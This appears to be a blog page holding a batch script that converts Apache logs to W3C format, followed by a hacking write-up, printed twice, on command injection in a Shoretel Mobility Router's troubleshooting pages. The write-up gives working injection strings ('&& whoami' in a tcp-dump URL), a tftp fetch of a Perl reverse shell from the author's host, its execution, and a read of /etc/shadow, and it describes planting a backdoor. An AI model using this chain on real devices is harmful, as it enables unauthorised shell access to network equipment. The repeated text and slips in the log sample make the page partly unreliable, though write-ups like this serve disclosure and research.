A friend of mine came to me with a problem. He needs to convert his apache log format log files to W3C so that he can send them in to make sure royalties are getting collected properly.
Now why they demand the files in W3C format, I don't know.
After looking for, and not finding, a pre-made solution it was time to knuckle down and script that mother out.
Here's a sample of one line from the apache log:
127.0.0.1 - - [07/Feb/2013:00:00:16 -0600] "GET /admin.cgi ICY/1.0" 200 155 "-" "ShoutcastDSP (Mozilla Compatible)" 0
Here's what the W3C format of that log looks like:
127.0.0.1 127.0.01 02/07/2012 13:00:00 /admin.cgi 200 ShoutcastDSP (Mozilla Compatible) 155 0
So we've got some cutting, splicing, and re-ordering to get done:
-=Script=-
@echo off
setlocal enabledelayedexpansion
for /f "tokens=1,2,3,4,5,6,7,8,9,10,11,*" %%a in (Apache_LogFile_Format.txt) do (
::set date
set datetime=%%d
for /f "tokens=1" %%z in ("!datetime!") do set d=!datetime:~1,2!
for /f "tokens=1" %%z in ("!datetime!") do set m=!datetime:~4,3!
for /f "tokens=1" %%z in ("!datetime!") do set y=!datetime:~8,4!
if "!m!"=="Jan " set mn=01
if "!m!"=="Feb " set mn=02
if "!m!"=="Mar " set mn=03
if "!m!"=="Apr " set mn=04
if "!m!"=="May " set mn=05
if "!m!"=="Jun " set mn=06
if "!m!"=="Jul " set mn=07
if "!m!"=="Aug " set mn=08
if "!m!"=="Sep " set mn=09
if "!m!"=="Oct " set mn=10
if "!m!"=="Nov " set mn=11
if "!m!"=="Dec " set mn=12
::set time
for /f "tokens=1 delims=[" %%z in ("!datetime!") do set hh=!datetime:~13,2!
for /f "tokens=1 delims=[" %%z in ("!datetime!") do set mm=!datetime:~16,2!
for /f "tokens=1 delims=[" %%z in ("!datetime!") do set ss=!datetime:~19,2!
::replace " with #
for /f "tokens=* usebackq" %%w in ('%%l') do (
set tk=%%w
set tk=!tk:"=#!
)
::parse out the user-agent from the duration
for /f "tokens=1 delims=#" %%x in ("!tk!") do set ua=%%x
for /f "tokens=2 delims=#" %%y in ("!tk!") do set dur=%%y
echo %%a %%a !mn!/!d!/!y! !hh!:!mm!:!ss! %%g %%i !ua! %%j !dur! >> output.txt
)
-= End Script=-
Everything is pretty straight forward until we have to parse out the useragent and duration:
"ShoutcastDSP (Mozilla Compatible)" 0
The user agent string can be just about anything really, varied length, so we can't delimit on the spaces or the parenthesis, it sure would be nice to delimit on the double quotes but you can't do that.
So I picked up a new trick, using set to replace specific characters in a variable.
So we use this set tk=!tk:"=#! the important part is "=# that's where we change the " to #. # we can use as a delimiter, suddenly splitting the user agent and duration just got easy.
instead of this:
"ShoutcastDSP (Mozilla Compatible)" 0
we end up with this:
#ShoutcastDSP (Mozilla Compatible)# 0
That's is kids. Hope this helps you out.
Friday, February 22, 2013
Wednesday, February 13, 2013
Command Execution on Shoretel Mobility Router:II
Well, things didn't quite go the way I expected. Success was still had. But, in my mind it was a much lesser victory. I managed to get shell, capture, and reveal the root password, which I will be sharing with you here since I'm 99.999% sure it's the same on all the Shoretel Mobility Routers, but lets start where we left off.
Last we left our hero....
I had managed to find a command injection vulnerability by manipulating a post to the Commands page in the Troubleshooting area on the mobility router.
Now began my quest to find a writable directory, or file, so that I could upload a file to get a shell.
Well as it turns out, as the Apache user, you can't write anywhere. Even the places it says you SHOULD be able to write to, you can't. The file system is in a permanent read only state in all the places that the Apache user has rights to.
So, I output a directory listing with permissions (ls -laR /) and started pouring over it looking for every place that Apache had write and execute permissions. All the places that existed were in the Read Only filesystem area.
I'd like to take a moment here and point out that Linux file system layout and permissions are not my specialty. I believe I have a fairly firm grip on how to read them for misconfiguration but it's just not something I've spent a lot of time doing. I did the best I could, I may have missed something, I don't know. I'm working on sanitizing the directory listing I have so that I can post it somewhere and people with a better understanding can take a look over it and see if I missed something, should they so desire.
So I sat back in my chair after attempting to echo 1 > test.txt in all the directories I could. I looked about for files that I could modify that I might be able to run as a more privileged user, I found none.
Then I looked back at the troubleshooting page and saw this:
Packet Capture.
Capturing packets usually requires that you have elevated permissions.
As luck would have it you can chain commands on this page too, although much simpler.
I set it to capture on any interface 1 packet of ICMP and output it to the browser. It pops up another page with the whole command in the address bar.
Let's clean that up a bit
https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp
I know tcp-dump, and that sure looks like a native command there. Lets see if we can see who we are:
I added a && whoami to the end of the address and there at the bottom it returned:
(https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp && whoami)
admin
This brings about a change, I'm a privileged user, that's nice.
Admin has read write execute ALL OVER the place.
But still I was dogged by the Read Only filesystem deal. Even in directories where I had full permissions I still could not write to a file. I spent a while looking for a writable directory.
Then I thought about the /tmp directory. Not much use in a tmp directory if you can't write to it.
I added a && echo 1 > /var/root/tmp/text.txt && ls -la /var/root/tmp
I setup a tftp server and put a Perl shell I've used a few times before on in.
Then I went back to the web interface and entered
&& cd /var/root/tmp && tftp hostname -c get plshell.pl && chmod +x /var/root/tmp/plshell.pl
*why the tftp -c? I have no idea, this particular implementation of TFTP client wanted a -c for the command. I've never had to use it before.
The perl shell can be found here: http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
Thanks pentestmonkey, your pentest cheatsheet has saved my bacon a few times.
Now we execute it and viola!
(https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp && /var/root/tmp/plshell.pl)
We have shell.
And that's pretty much that. The admin user has the same permissions as the root user. Since we were executing commands as the admin user instead of Apache we didn't have to find any privilege escalation exploits or kernel vulnerabilities. Kind of takes the fun out of it when you already have all the rights you need.
The Root Password
And now the moment I spent a bunch of time waiting for, the ever beloved cat /etc/shadow and seeing the root hash, that beautiful juicy root hash, just sitting there, waiting to be cracked, to have it's secret revealed, to be removed from the shadows and thrust into the light of knowledge and understanding..........
root:!!:10000:0:99999:7:::
F*CK YOU!!! Really? A blank freaking password?
This made me sad, all the work and I didn't even get to crack a hash.
Well you can't win them all I guess.
So.. this leaves me in a situation that I don't really like. All I've accomplished is to take the privleges I had, and use them to get a different means to access a device I already had access to. While it is handy to have an actual shell to access the device instead of just a web interface and terminal program that you access when you SSH in, I still feel pretty cheated about the whole deal. In the short run I've accomplished what I set out to do, I found a way to load a backdoor onto the system.
However, lets face it, you have to have the admin user credentials to log into the device, there's not much cool stuff happening here.
Now I start my search for a means of unauthenticated access to the device. Perhaps there's a way to steal a session cookie by writing some kind of xss deal into the log files. Maybe they send the authentication cookie in the clear and I can snag it with a sniffer. Maybe they're still running a vulnerable version of SSL or Apache server or FTP, I doubt it, but just maybe. Perhaps there's still yet some other way to compromise this device.
The fight is over, but the battle rages on.
Last we left our hero....
I had managed to find a command injection vulnerability by manipulating a post to the Commands page in the Troubleshooting area on the mobility router.
Now began my quest to find a writable directory, or file, so that I could upload a file to get a shell.
Well as it turns out, as the Apache user, you can't write anywhere. Even the places it says you SHOULD be able to write to, you can't. The file system is in a permanent read only state in all the places that the Apache user has rights to.
So, I output a directory listing with permissions (ls -laR /) and started pouring over it looking for every place that Apache had write and execute permissions. All the places that existed were in the Read Only filesystem area.
I'd like to take a moment here and point out that Linux file system layout and permissions are not my specialty. I believe I have a fairly firm grip on how to read them for misconfiguration but it's just not something I've spent a lot of time doing. I did the best I could, I may have missed something, I don't know. I'm working on sanitizing the directory listing I have so that I can post it somewhere and people with a better understanding can take a look over it and see if I missed something, should they so desire.
So I sat back in my chair after attempting to echo 1 > test.txt in all the directories I could. I looked about for files that I could modify that I might be able to run as a more privileged user, I found none.
Then I looked back at the troubleshooting page and saw this:
Capturing packets usually requires that you have elevated permissions.
As luck would have it you can chain commands on this page too, although much simpler.
I set it to capture on any interface 1 packet of ICMP and output it to the browser. It pops up another page with the whole command in the address bar.
https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp
I know tcp-dump, and that sure looks like a native command there. Lets see if we can see who we are:
I added a && whoami to the end of the address and there at the bottom it returned:
(https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp && whoami)
admin
This brings about a change, I'm a privileged user, that's nice.
Admin has read write execute ALL OVER the place.
But still I was dogged by the Read Only filesystem deal. Even in directories where I had full permissions I still could not write to a file. I spent a while looking for a writable directory.
Then I thought about the /tmp directory. Not much use in a tmp directory if you can't write to it.
I added a && echo 1 > /var/root/tmp/text.txt && ls -la /var/root/tmp
Sweet tap dancing tuna fish, test.txt. Finally, a writable directory.
I had noticed earlier that Perl is installed, so I figured that a Perl shell would probably be the easiest way to go.
I setup a tftp server and put a Perl shell I've used a few times before on in.
Then I went back to the web interface and entered
&& cd /var/root/tmp && tftp hostname -c get plshell.pl && chmod +x /var/root/tmp/plshell.pl
*why the tftp -c? I have no idea, this particular implementation of TFTP client wanted a -c for the command. I've never had to use it before.
Thanks pentestmonkey, your pentest cheatsheet has saved my bacon a few times.
Now we execute it and viola!
(https://hostaname/scripts/stream/tcp-dump?-vv -n -i any -sO -c 1 icmp && /var/root/tmp/plshell.pl)
We have shell.
And that's pretty much that. The admin user has the same permissions as the root user. Since we were executing commands as the admin user instead of Apache we didn't have to find any privilege escalation exploits or kernel vulnerabilities. Kind of takes the fun out of it when you already have all the rights you need.
The Root Password
And now the moment I spent a bunch of time waiting for, the ever beloved cat /etc/shadow and seeing the root hash, that beautiful juicy root hash, just sitting there, waiting to be cracked, to have it's secret revealed, to be removed from the shadows and thrust into the light of knowledge and understanding..........
root:!!:10000:0:99999:7:::
F*CK YOU!!! Really? A blank freaking password?
This made me sad, all the work and I didn't even get to crack a hash.
Well you can't win them all I guess.
So.. this leaves me in a situation that I don't really like. All I've accomplished is to take the privleges I had, and use them to get a different means to access a device I already had access to. While it is handy to have an actual shell to access the device instead of just a web interface and terminal program that you access when you SSH in, I still feel pretty cheated about the whole deal. In the short run I've accomplished what I set out to do, I found a way to load a backdoor onto the system.
However, lets face it, you have to have the admin user credentials to log into the device, there's not much cool stuff happening here.
Now I start my search for a means of unauthenticated access to the device. Perhaps there's a way to steal a session cookie by writing some kind of xss deal into the log files. Maybe they send the authentication cookie in the clear and I can snag it with a sniffer. Maybe they're still running a vulnerable version of SSL or Apache server or FTP, I doubt it, but just maybe. Perhaps there's still yet some other way to compromise this device.
The fight is over, but the battle rages on.